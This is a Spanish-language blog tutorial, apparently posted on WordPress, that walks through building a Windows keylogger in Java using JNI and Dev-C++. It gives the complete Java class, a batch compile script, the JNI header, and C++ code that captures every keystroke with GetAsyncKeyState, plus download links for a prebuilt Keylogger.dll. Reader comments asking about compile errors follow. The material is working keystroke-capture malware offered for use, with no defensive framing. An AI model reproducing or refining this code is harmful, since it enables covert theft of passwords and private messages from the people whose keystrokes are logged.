[Tutorial] Keylogger en java by Leyer

Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

[b]jni_md.h[/b]

http://www.mediafire.com/?wt30y33j4mg

[b]jni.h[/b]

http://www.mediafire.com/?zngnmognn5h

Los cuales incluiran en  el directorio “C:\Archivos de programa\Dev-Cpp\include”

[list]
[li][b]Paso 1: Creación del Archivo .java[/b][/li][/list]

Importante: No tiene que estar en ningun Package

public class Keylogger extends Thread { 
	private boolean   running=true;
	private int       value =0;	
	private native int get(); 	
	static { 
		System.loadLibrary("Keylogger"); 	
		/**
		 * Carga de la DLL 		
		 */
		}	
	@Override
	public synchronized void run(){			
			while(running){
					value = get();
					/**
					 * Optenemos la Tecla Precionada
					 */
					System.out.println((char)value); 
					/**
					 * La Mostramos en la Salida Estandar	
					 */
					}
			}

	}

[list][li][b]Paso 2: Creación del .bat para compilacion JNI (Opcional)[/b][/li][/list]

[i]Nombre[/i]: CompilerJNI.bat

@echo off
title Java
set/p j= .java : 
echo.
call javac %j%.java
call javah -jni %j%

pause
echo.
exit

[list][li][b]Paso 3:  Generando el . Class y la Cabecera .h (JNI) [/b][/li][/list]

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola
[i]
javac Keylogger.java
javah -jni Keylogger[/i]

Tienes que tener algun JDK

[list][li][b]Paso 4:  Generando la DLL [/b][/li][/list]

Abrimos el DEV++
[i]File—>New—->Project—>DLL[/i]

[img]http://r.i.elhacker.net/cache?url=http://s4.subirimagenes.com/privadas/940888im.png[/img]

Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */ 
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
    #endif
    #undef Keylogger_MIN_PRIORITY
    #define Keylogger_MIN_PRIORITY 1L
    #undef Keylogger_NORM_PRIORITY
    #define Keylogger_NORM_PRIORITY 5L
    #undef Keylogger_MAX_PRIORITY
    #define Keylogger_MAX_PRIORITY 10L
    #undef Keylogger_DELAY
    #define Keylogger_DELAY 20L
    /** Class: Keylogger 
     * Method:    get
     * Signature: ()I
     */
    
    JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject); 
    #ifdef __cplusplus
    }
    #endif
    #endif 

[list]

Si da problemas
Este archivo tiene que estar en [i]C:\Archivos de programa\Dev-Cpp\include[/i]

ahora remplazar el contenido de dllMain.cpp por este:

[/list]

#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h> 
#include "Keylogger.h" 
 JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){ 
  while(true){
        for(int c=8;c<=222;c++){
         if(GetAsyncKeyState(c)==-32767)
            return c;   
        }         
     Sleep(30);   
     }
} 

Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

public class Main {
	public static void main(String[] args) {
	new Keylogger().start();
	}
}

Aqui les dejo la DLL Keylogger.dll

http://www.mediafire.com/?e03u9r0emaerf9g

About these ads
Etiquetas:

2 comentarios to “[Tutorial] Keylogger en java by Leyer”

  1. Hola,
    Estoy haciendo el tutorial del primer post, y tengo una duda al final del tutorial. Una vez he conseguido crear la dll, creo un proyecto con netbeans llamado Keylogger. Una vez esto, en el main copio el main que pusiste al final del tutorial:

    public class Keylogger {
    public static void main(String[] args) {
    new Keylogger().start();
    }
    }

    Después copio la dll creada en la carpeta src de este proyecto donde se encuentra el Keylogger.java.
    Y al final cuando compilo el proyecto con el netbeans, me da un error en la linea new Keylogger().start(); donde me dice que no ha encontrado el metodo start.

    Alguien me puede ayudar????
    Tengo que cambiar algo???

    Gracias por la ayuda.

  2. java.lang.UnsatisfiedLinkError: no Keylogger in java.library.path

    por que ?

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 26 seguidores

A %d blogueros les gusta esto: